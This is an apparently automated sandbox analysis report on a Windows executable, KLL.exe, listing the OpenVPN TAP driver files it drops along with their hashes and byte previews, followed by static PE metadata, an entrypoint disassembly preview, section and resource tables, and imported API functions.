C:\Windows\System32\DriverStore\Temp\{77873dc6-6038-6d45-9b90-5097b5d9b5f5}\SETC9A3.tmp

Download File

Process:	C:\Windows\System32\drvinst.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	39920
Entropy (8bit):	6.338128217115975
Encrypted:	false
SSDEEP:	768:XtCuL1O/+AphG3F9NlXt5oZhDzbV104mmuiExsFwQvYp33U35:XdCoTxk1lmmjExsFNvYtk
MD5:	C10CCDEC5D7AF458E726A51BB3CDC732
SHA1:	0553AAB8C2106ABB4120353360D747B0A2B4C94F
SHA-256:	589C5667B1602837205DA8EA8E92FE13F8C36048B293DF931C99B39641052253
SHA-512:	7437C12AE5B31E389DE3053A55996E7A0D30689C6E0D10BDE28F1FBF55CEE42E65AA441B7B82448334E725C0899384DEE2645CE5C311F3A3CFC68E42AD046981
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~..[...[...[....w..Z....w..^...[...m....w.._....w..^.../t..Q.../t..Z.../t..Z...Rich[...........................PE..d......_.........."......Z.....................@....................................=w....`A....................................................<.......X....p..T....x...#...........R..8............................S...............P...............................text..._>.......@.................. ..h.rdata.......P.......D..............@..H.data........`.......P..............@....pdata..T....p.......R..............@..HPAGE.................V.............. ..`INIT.................d.............. ..b.rsrc...X............p..............@..B.reloc...............v..............@..B................................................................................................................................................................................

C:\Windows\System32\DriverStore\Temp\{77873dc6-6038-6d45-9b90-5097b5d9b5f5}\oemvista.inf (copy)

Download File

Process:	C:\Windows\System32\drvinst.exe
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	7632
Entropy (8bit):	5.063558190257152
Encrypted:	false
SSDEEP:	192:wr8tW9yCTi3x4vlQd22bjR+iAUC7bMP+io3DcNSj6jvKFkPs7EQTXvt1Ld4Z:LWlGNdkkzo3DcNSj6jvKFkPs7EQTXvtk
MD5:	26009F092BA352C1A64322268B47E0E3
SHA1:	E1B2220CD8DCAEF6F7411A527705BD90A5922099
SHA-256:	150EF8EB07532146F833DC020C02238161043260B8A565C3CFCB2365BAD980D9
SHA-512:	C18111982CA233A7FC5D1E893F9BD8A3ED739756A47651E0638DEBB0704066AF6B25942C7961CDEEDF953A206EB159FE50E0E10055C40B68EB0D22F6064BB363
Malicious:	false
Preview:	; ***************************************************************************..; Copyright (C) 2002-2014 OpenVPN Technologies, Inc. ..; This program is free software; you can redistribute it and/or modify ..; it under the terms of the GNU General Public License version 2 ..; as published by the Free Software Foundation. ..; *************************************************************************....; SYNTAX CHECKER..; cd \WINDDK\3790\tools\chkinf..; chkinf c:\src\openvpn\tap-win32\i386\oemvista.inf..; OUTPUT -> file:///c:/WINDDK/3790/tools/chkinf/htm/c%23+src+openvpn+tap-win32+i386+__OemWin2k.htm....; INSTALL/REMOVE DRIVER..; tapinstall install OemVista.inf tapoas..; tapinstall update OemVista.inf tapoas..; tapinstall remove tapoas....;*******************************************************..; Note to Developers:..;..; If you are bundling the TAP-Windows driver with your app,..; you should try

C:\Windows\System32\DriverStore\Temp\{77873dc6-6038-6d45-9b90-5097b5d9b5f5}\tap0901.cat (copy)

Download File

Process:	C:\Windows\System32\drvinst.exe
File Type:	data
Category:	dropped
Size (bytes):	10739
Entropy (8bit):	7.214364446291792
Encrypted:	false
SSDEEP:	192:JDVLGVDFfap5UEwQl/WGhYCt17vJ4qnaj6jQc:7GCpzlnh3t1x4l2jn
MD5:	F73AC62E8DF97FAF3FC8D83E7F71BF3F
SHA1:	619A6E8F7A9803A4C71F73060649903606BEAF4E
SHA-256:	CC74CDB88C198EB00AEF4CAA20BF1FDA9256917713A916E6B94435CD4DCB7F7B
SHA-512:	F81F5757E0E449AD66A632299BCBE268ED02DF61333A304DCCAFB76B2AD26BAF1A09E7F837762EE4780AFB47D90A09BF07CB5B8B519C6FB231B54FA4FBE17FFE
Malicious:	false
Preview:	0.)....H........).0.)....1.0...`.H.e......0..i..+.....7.....Z0..V0...+.....7.......r?.X.M.....F.A..201008141946Z0...+.....7.....0..T0.... .....S!F.3....#.a.2`..e...#e...1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... .....S!F.3....#.a.2`..e...#e...0...."~..m..8C. i$.4.l..1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0.... ..j(.M<.cR..XrT....F..R.]....?1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0]..+.....7...1O0M0...+.....7...0...........010...`.H.e....... ..j(.M<.cR..XrT....F..R.]....?0.....".....A.Rw..... .1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f.......0...0....+.

C:\Windows\System32\DriverStore\Temp\{77873dc6-6038-6d45-9b90-5097b5d9b5f5}\tap0901.sys (copy)

Download File

Process:	C:\Windows\System32\drvinst.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	39920
Entropy (8bit):	6.338128217115975
Encrypted:	false
SSDEEP:	768:XtCuL1O/+AphG3F9NlXt5oZhDzbV104mmuiExsFwQvYp33U35:XdCoTxk1lmmjExsFNvYtk
MD5:	C10CCDEC5D7AF458E726A51BB3CDC732
SHA1:	0553AAB8C2106ABB4120353360D747B0A2B4C94F
SHA-256:	589C5667B1602837205DA8EA8E92FE13F8C36048B293DF931C99B39641052253
SHA-512:	7437C12AE5B31E389DE3053A55996E7A0D30689C6E0D10BDE28F1FBF55CEE42E65AA441B7B82448334E725C0899384DEE2645CE5C311F3A3CFC68E42AD046981
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~..[...[...[....w..Z....w..^...[...m....w.._....w..^.../t..Q.../t..Z.../t..Z...Rich[...........................PE..d......_.........."......Z.....................@....................................=w....`A....................................................<.......X....p..T....x...#...........R..8............................S...............P...............................text..._>.......@.................. ..h.rdata.......P.......D..............@..H.data........`.......P..............@....pdata..T....p.......R..............@..HPAGE.................V.............. ..`INIT.................d.............. ..b.rsrc...X............p..............@..B.reloc...............v..............@..B................................................................................................................................................................................

C:\Windows\System32\catroot2\dberr.txt

Download File

Process:	C:\Windows\System32\drvinst.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	3474
Entropy (8bit):	5.366248143164333
Encrypted:	false
SSDEEP:	96:QO00eO00erMwUgWUg0B1kE3ZhpJp8ZpkRepk3YpgpNo:QO00eO00erMwmkB1kAS
MD5:	15F4A25249304A362D26C37721814D92
SHA1:	594BDF3C1DCCDD000BDCCEACDF8DA411E5F4A678
SHA-256:	90E52D66C8916D63DC27E51CA22200299DBA831BD1140F8BCFB66E89CDD81A4C
SHA-512:	E53E199BF3B5DD3569E6E6A833A94320DE8831A201D2A567F7FBCF52C141DF2E41996C99F8A6C54E3681919C4CA04820F5895882F2BCFE1DA6D6CE5B32EF2508
Malicious:	false
Preview:	CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #6041 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #6699 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #4398 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #6041 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #6699 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #4398 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #2083 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #2459 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: SyncAllDBs Corruption or Schema Change..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #891 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #1307 encountered JET error -1601..CatalogDB: 08:57:12 03/10/2023: SyncDB:: Sync sta

C:\Windows\System32\drivers\SETD038.tmp

Download File

Process:	C:\Windows\System32\drvinst.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	39920
Entropy (8bit):	6.338128217115975
Encrypted:	false
SSDEEP:	768:XtCuL1O/+AphG3F9NlXt5oZhDzbV104mmuiExsFwQvYp33U35:XdCoTxk1lmmjExsFNvYtk
MD5:	C10CCDEC5D7AF458E726A51BB3CDC732
SHA1:	0553AAB8C2106ABB4120353360D747B0A2B4C94F
SHA-256:	589C5667B1602837205DA8EA8E92FE13F8C36048B293DF931C99B39641052253
SHA-512:	7437C12AE5B31E389DE3053A55996E7A0D30689C6E0D10BDE28F1FBF55CEE42E65AA441B7B82448334E725C0899384DEE2645CE5C311F3A3CFC68E42AD046981
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~..[...[...[....w..Z....w..^...[...m....w.._....w..^.../t..Q.../t..Z.../t..Z...Rich[...........................PE..d......_.........."......Z.....................@....................................=w....`A....................................................<.......X....p..T....x...#...........R..8............................S...............P...............................text..._>.......@.................. ..h.rdata.......P.......D..............@..H.data........`.......P..............@....pdata..T....p.......R..............@..HPAGE.................V.............. ..`INIT.................d.............. ..b.rsrc...X............p..............@..B.reloc...............v..............@..B................................................................................................................................................................................

C:\Windows\System32\drivers\tap0901.sys (copy)

Download File

Process:	C:\Windows\System32\drvinst.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	39920
Entropy (8bit):	6.338128217115975
Encrypted:	false
SSDEEP:	768:XtCuL1O/+AphG3F9NlXt5oZhDzbV104mmuiExsFwQvYp33U35:XdCoTxk1lmmjExsFNvYtk
MD5:	C10CCDEC5D7AF458E726A51BB3CDC732
SHA1:	0553AAB8C2106ABB4120353360D747B0A2B4C94F
SHA-256:	589C5667B1602837205DA8EA8E92FE13F8C36048B293DF931C99B39641052253
SHA-512:	7437C12AE5B31E389DE3053A55996E7A0D30689C6E0D10BDE28F1FBF55CEE42E65AA441B7B82448334E725C0899384DEE2645CE5C311F3A3CFC68E42AD046981
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~..[...[...[....w..Z....w..^...[...m....w.._....w..^.../t..Q.../t..Z.../t..Z...Rich[...........................PE..d......_.........."......Z.....................@....................................=w....`A....................................................<.......X....p..T....x...#...........R..8............................S...............P...............................text..._>.......@.................. ..h.rdata.......P.......D..............@..H.data........`.......P..............@....pdata..T....p.......R..............@..HPAGE.................V.............. ..`INIT.................d.............. ..b.rsrc...X............p..............@..B.reloc...............v..............@..B................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.577752221579041
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	KLL.exe
File size:	31'853'056 bytes
MD5:	ff9006e15bbe8f6c9a4ac2ddb14ac37e
SHA1:	c9b380c608b6e8f9ce45c13a72ed15c21043661a
SHA256:	2daa8d76a918b1d3d30b25130a741a4612f5ac5c2dba186225992e7783ea0458
SHA512:	917a8072f2f6401368095a5d4bcd25bf116efef9b71bb6faaab5c01f1227cafa7ea633dd416a7072deb6841925afe0b5f61ef84c6459292e333f914f10c80290
SSDEEP:	393216:rMtfAjXm9uHkZmyTtvkJJhddL1ugGFPO2bacIGxQRu8/aJHYjzZSOn3P7zZmHs5a:RmYSOOFJJ1AtROo1YsM6Hmad+o
TLSH:	D767DF8B736541D1D1ABC17DC90A9A0FC7B2741447369BCF02A8CB992F236E21E7E752
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........@............j.......j.......j...o...j.......j.................................................{.....................Rich...

File Icon


Icon Hash:	13adccdae6642d93

Static PE Info

General

Entrypoint:	0x140270764
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x669A1F4B [Fri Jul 19 08:09:47 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	bf2887a0b14c43df8718a41eec2a7fd6

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F203D201184h
dec eax
add esp, 28h
jmp 00007F203D200367h
int3
int3
retn 0000h
int3
dec eax
mov eax, dword ptr [ecx]
ret
dec eax
mov eax, dword ptr [ecx]
ret
dec eax
lea edx, dword ptr [00114175h]
dec eax
lea eax, dword ptr [0011416Eh]
dec eax
sub ecx, edx
dec eax
sub eax, edx
dec eax
cmp ecx, eax
jnbe 00007F203D200553h
int3
ret
int3
dec eax
lea edx, dword ptr [00114159h]
dec eax
lea eax, dword ptr [00114152h]
dec eax
sub ecx, edx
dec eax
sub eax, edx
dec eax
cmp ecx, eax
jnbe 00007F203D200559h
mov ecx, 00000041h
int 29h
ret
int3
int3
int3
retn 0000h
int3
dec eax
sub esp, 28h
dec esp
lea eax, dword ptr [0011412Dh]
dec eax
mov eax, ecx
dec eax
lea edx, dword ptr [00114123h]
dec ecx
sub eax, eax
dec ecx
sub edx, eax
dec eax
cmp eax, edx
jnbe 00007F203D200567h
dec eax
mov eax, dword ptr [0009B3E9h]
dec eax
test eax, eax
je 00007F203D20055Bh
dec eax
mov eax, dword ptr [0009B3DDh]
call eax
dec eax
add esp, 28h
ret
int3
int3
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [0009B3C9h]
dec eax
test eax, eax
je 00007F203D20055Bh
dec eax
mov eax, dword ptr [0009B3BDh]
call eax
dec eax
add esp, 28h
ret
int3
int3
dec eax
lea eax, dword ptr [001140D5h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3f4558	0x190	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1e53000	0x4a80	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x1e27000	0x2a9b4	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1e58000	0x13c80	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x384850	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x384980	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x384710	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x30a000	0x1bb0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x308494	0x308600	d54c837575aa7ad98d2e6a28d97700cb	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x30a000	0xefc62	0xefe00	2048d863d2ca5248baaa8602718d7d11	False	0.29390612786607606	data	5.2665596497292375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3fa000	0x1a2cc54	0x1a24c00	70d6ad329584a418574cb0edccd73192	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x1e27000	0x2a9b4	0x2aa00	8ea43229e668cca71dd48565e3c91eb3	False	0.5224408907624634	data	6.415871799872263	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
_RDATA	0x1e52000	0x15c	0x200	6fba6d7be901830c50da5d89aea540ce	False	0.408203125	data	3.358718227326079	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x1e53000	0x4a80	0x4c00	496f782ed416d08c4279620746b5e815	False	0.3147101151315789	data	4.060429014481452	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1e58000	0x13c80	0x13e00	b5ac7dcafb2946410d48af5cc4df5a9c	False	0.09148977987421383	data	5.444408195722223	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
AFX_DIALOG_LAYOUT	0x1e55598	0x2	data	Chinese	China	5.0
RT_CURSOR	0x1e555a0	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	Chinese	China	0.4805194805194805
RT_CURSOR	0x1e556d8	0xb4	Targa image data - Map 32 x 65536 x 1 +16 "\001"	Chinese	China	0.7
RT_CURSOR	0x1e557b8	0x134	AmigaOS bitmap font "(", fc_YSize 4294967264, 5120 elements, 2nd "\377\360?\377\377\370\177\377\377\374\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rd	Chinese	China	0.36363636363636365
RT_CURSOR	0x1e55908	0x134	Targa image data - RLE 64 x 65536 x 1 +32 "\001"	Chinese	China	0.35714285714285715
RT_CURSOR	0x1e55a58	0x134	data	Chinese	China	0.37337662337662336
RT_CURSOR	0x1e55ba8	0x134	data	Chinese	China	0.37662337662337664
RT_CURSOR	0x1e55cf8	0x134	Targa image data 64 x 65536 x 1 +32 "\001"	Chinese	China	0.36688311688311687
RT_CURSOR	0x1e55e48	0x134	Targa image data 64 x 65536 x 1 +32 "\001"	Chinese	China	0.37662337662337664
RT_CURSOR	0x1e55f98	0x134	Targa image data - Mono - RLE 64 x 65536 x 1 +32 "\001"	Chinese	China	0.36688311688311687
RT_CURSOR	0x1e560e8	0x134	Targa image data - RGB - RLE 64 x 65536 x 1 +32 "\001"	Chinese	China	0.38636363636363635
RT_CURSOR	0x1e56238	0x134	data	Chinese	China	0.44155844155844154
RT_CURSOR	0x1e56388	0x134	data	Chinese	China	0.4155844155844156
RT_CURSOR	0x1e564d8	0x134	AmigaOS bitmap font "(", fc_YSize 4294966847, 3840 elements, 2nd "\377?\374\377\377\300\003\377\377\300\003\377\377\340\007\377\377\360\017\377\377\370\037\377\377\374?\377\377\376\177\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rd	Chinese	China	0.5422077922077922
RT_CURSOR	0x1e56628	0x134	data	Chinese	China	0.2662337662337662
RT_CURSOR	0x1e56778	0x134	data	Chinese	China	0.2824675324675325
RT_CURSOR	0x1e568c8	0x134	data	Chinese	China	0.3246753246753247
RT_BITMAP	0x1e56b38	0xb8	Device independent bitmap graphic, 12 x 10 x 4, image size 80	Chinese	China	0.44565217391304346
RT_BITMAP	0x1e56bf0	0x144	Device independent bitmap graphic, 33 x 11 x 4, image size 220	Chinese	China	0.37962962962962965
RT_ICON	0x1e53c40	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1536	Chinese	China	0.19939024390243903
RT_ICON	0x1e542a8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2688	Chinese	China	0.3699360341151386
RT_DIALOG	0x1e55178	0x80	data	Chinese	China	0.6875
RT_DIALOG	0x1e551f8	0xb8	data	Chinese	China	0.6032608695652174
RT_DIALOG	0x1e552b0	0xa4	data	Chinese	China	0.7317073170731707
RT_DIALOG	0x1e55358	0x15c	data	Chinese	China	0.5114942528735632
RT_DIALOG	0x1e56a18	0xe2	data	Chinese	China	0.6769911504424779
RT_DIALOG	0x1e56b00	0x34	data	Chinese	China	0.8653846153846154
RT_STRING	0x1e56d38	0x5c	data	Chinese	China	0.8369565217391305
RT_STRING	0x1e56d98	0x4e	data	Chinese	China	0.8461538461538461
RT_STRING	0x1e56de8	0x2c	data	Chinese	China	0.5909090909090909
RT_STRING	0x1e56e18	0x84	data	Chinese	China	0.9166666666666666
RT_STRING	0x1e56ea0	0x1cc	data	Chinese	China	0.7934782608695652
RT_STRING	0x1e571c8	0x14e	data	Chinese	China	0.5179640718562875
RT_STRING	0x1e570b8	0x10e	data	Chinese	China	0.7037037037037037
RT_STRING	0x1e57658	0x50	data	Chinese	China	0.7125
RT_STRING	0x1e57070	0x44	data	Chinese	China	0.6764705882352942
RT_STRING	0x1e575c8	0x68	data	Chinese	China	0.7019230769230769
RT_STRING	0x1e57318	0x1b2	data	Chinese	China	0.6474654377880185
RT_STRING	0x1e574d0	0xf4	data	Chinese	China	0.6065573770491803
RT_STRING	0x1e57630	0x24	data	Chinese	China	0.4722222222222222
RT_STRING	0x1e576a8	0x1a8	data	Chinese	China	0.6674528301886793
RT_GROUP_CURSOR	0x1e55790	0x22	Lotus unknown worksheet or configuration, revision 0x2	Chinese	China	1.0294117647058822
RT_GROUP_CURSOR	0x1e55f80	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x1e558f0	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x1e55e30	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x1e55ce0	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x1e56610	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x1e55b90	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x1e56220	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x1e55a40	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x1e560d0	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x1e56370	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x1e564c0	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x1e56760	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x1e568b0	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x1e56a00	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_ICON	0x1e55150	0x22	data	Chinese	China	1.0588235294117647
RT_VERSION	0x1e554b8	0xdc	data	Chinese	China	0.6545454545454545
RT_MANIFEST	0x1e57850	0x22f	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (499), with CRLF line terminators	English	United States	0.5295169946332737

Imports

DLL	Import
KERNEL32.dll	FindFirstFileExW, GetStringTypeW, GetDriveTypeW, SetFilePointerEx, ReadConsoleW, GetConsoleMode, GetConsoleOutputCP, GetTimeZoneInformation, EnumSystemLocalesW, IsValidLocale, LCMapStringW, CompareStringW, GetTimeFormatW, GetDateFormatW, FlsFree, FlsSetValue, FlsGetValue, FlsAlloc, GetStdHandle, IsValidCodePage, SetConsoleCtrlHandler, GetFullPathNameW, GetFileType, SetStdHandle, HeapQueryInformation, GetCommandLineW, GetCommandLineA, FreeLibraryAndExitThread, ExitThread, CreateThread, VirtualQuery, VirtualAlloc, GetSystemInfo, RtlUnwind, InterlockedFlushSList, InterlockedPushEntrySList, RtlPcToFileHeader, RtlUnwindEx, RaiseException, OutputDebugStringW, FindNextFileW, GetEnvironmentStringsW, FreeEnvironmentStringsW, ExitProcess, SetCurrentDirectoryW, GetCurrentDirectoryW, CreateFileW, InitializeSListHead, GetSystemTimeAsFileTime, QueryPerformanceCounter, GetStartupInfoW, IsDebuggerPresent, IsProcessorFeaturePresent, TerminateProcess, SetUnhandledExceptionFilter, UnhandledExceptionFilter, RtlVirtualUnwind, RtlLookupFunctionEntry, RtlCaptureContext, CreateEventW, WaitForSingleObjectEx, ResetEvent, SetEnvironmentVariableW, LocalUnlock, LocalLock, GetTickCount, GetUserDefaultLCID, ReplaceFileA, GetTempFileNameA, GetDiskFreeSpaceA, Sleep, SearchPathA, GetProfileIntA, GetTempPathA, GetTickCount64, SetErrorMode, FindResourceExW, VerifyVersionInfoA, VerSetConditionMask, GetWindowsDirectoryA, GetCurrentDirectoryA, FindNextFileA, SetFileTime, SetFileAttributesA, LocalFileTimeToFileTime, GetFileTime, GetFileSizeEx, GetFileAttributesExA, GetFileAttributesA, FileTimeToLocalFileTime, GetStringTypeExA, MoveFileA, lstrcmpiA, GetShortPathNameA, LoadLibraryExA, GetCurrentProcess, DuplicateHandle, GetVolumeInformationA, UnlockFile, SetFilePointer, SetEndOfFile, ReadFile, LockFile, GetFullPathNameA, GetFileSize, FlushFileBuffers, FindFirstFileA, FindClose, DeleteFileA, GetCPInfo, GetOEMCP, VirtualProtect, GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetLocaleInfoW, lstrcpyA, GetACP, GlobalFlags, GetThreadLocale, SystemTimeToFileTime, GetAtomNameA, LocalReAlloc, GlobalHandle, GlobalReAlloc, TlsFree, TlsSetValue, TlsGetValue, TlsAlloc, InitializeCriticalSection, WritePrivateProfileStringA, GetPrivateProfileStringA, GetPrivateProfileIntA, GetModuleHandleA, lstrcmpA, GetVersionExA, GetCurrentThread, ResumeThread, SuspendThread, SetThreadPriority, CreateEventA, WaitForSingleObject, SetEvent, FileTimeToSystemTime, SystemTimeToTzSpecificLocalTime, LocalAlloc, InitializeCriticalSectionAndSpinCount, LeaveCriticalSection, EnterCriticalSection, GetModuleFileNameA, GetCurrentProcessId, CompareStringA, GlobalGetAtomNameA, GlobalFindAtomA, GlobalAddAtomA, FindResourceA, lstrcmpW, GlobalDeleteAtom, LoadLibraryExW, GetModuleHandleW, FreeLibrary, GetSystemDirectoryW, GetCurrentThreadId, EncodePointer, QueryActCtxW, FindActCtxSectionStringW, DeactivateActCtx, ActivateActCtx, LoadResource, CreateActCtxW, LoadLibraryW, GetModuleHandleExW, GetModuleFileNameW, OutputDebugStringA, CopyFileA, FormatMessageA, MulDiv, LocalFree, GlobalFree, GlobalLock, GlobalUnlock, GlobalSize, GlobalAlloc, SetLastError, lstrcatA, LoadLibraryA, GetProcAddress, CloseHandle, WriteFile, CreateFileA, DeleteCriticalSection, InitializeCriticalSectionEx, GetProcessHeap, HeapSize, HeapFree, HeapReAlloc, HeapAlloc, HeapDestroy, DecodePointer, GetLastError, WideCharToMultiByte, MultiByteToWideChar, FindResourceW, SizeofResource, LockResource, QueryPerformanceFrequency, WriteConsoleW
USER32.dll	SetRect, InvalidateRgn, CopyAcceleratorTableA, CharNextA, LoadCursorW, WindowFromPoint, ReleaseCapture, SetCapture, DeleteMenu, CharUpperA, GetDialogBaseUnits, GetAsyncKeyState, CopyImage, LoadImageW, DestroyIcon, InvalidateRect, TrackMouseEvent, RealChildWindowFromPoint, IntersectRect, LoadCursorA, GetSysColorBrush, SystemParametersInfoA, InflateRect, GetMenuItemInfoA, DestroyMenu, MapDialogRect, SetWindowContextHelpId, SetCursor, ShowOwnedPopups, PostQuitMessage, GetCursorPos, TranslateMessage, GetMessageA, WaitMessage, GetWindowThreadProcessId, GetDesktopWindow, GetActiveWindow, GetNextDlgTabItem, EndDialog, CreateDialogIndirectParamA, FillRect, ClientToScreen, GetWindowDC, TabbedTextOutA, GrayStringA, DrawTextExA, DrawTextA, GetMonitorInfoA, MonitorFromWindow, WinHelpA, GetScrollInfo, SetScrollInfo, LoadIconA, CallNextHookEx, SetWindowsHookExA, GetLastActivePopup, GetTopWindow, GetClassNameA, GetClassLongPtrA, GetClassLongA, SetWindowLongPtrA, GetWindowLongPtrA, PtInRect, EqualRect, IsRectEmpty, MapWindowPoints, ScreenToClient, AdjustWindowRectEx, RemovePropA, GetPropA, SetPropA, ShowScrollBar, GetScrollRange, SetScrollRange, GetScrollPos, SetScrollPos, ScrollWindow, RedrawWindow, ValidateRect, EndPaint, BeginPaint, SetForegroundWindow, GetForegroundWindow, SetActiveWindow, TrackPopupMenuEx, TrackPopupMenu, IsZoomed, GetMenu, GetCapture, GetKeyState, IsWindowVisible, EndDeferWindowPos, DeferWindowPos, BeginDeferWindowPos, SetWindowPlacement, GetWindowPlacement, DestroyWindow, IsChild, IsMenu, CreateWindowExA, GetClassInfoExA, GetClassInfoA, RegisterClassA, LoadMenuW, BringWindowToTop, SetCursorPos, MessageBoxA, SendMessageA, PostMessageA, SetTimer, KillTimer, CallWindowProcA, 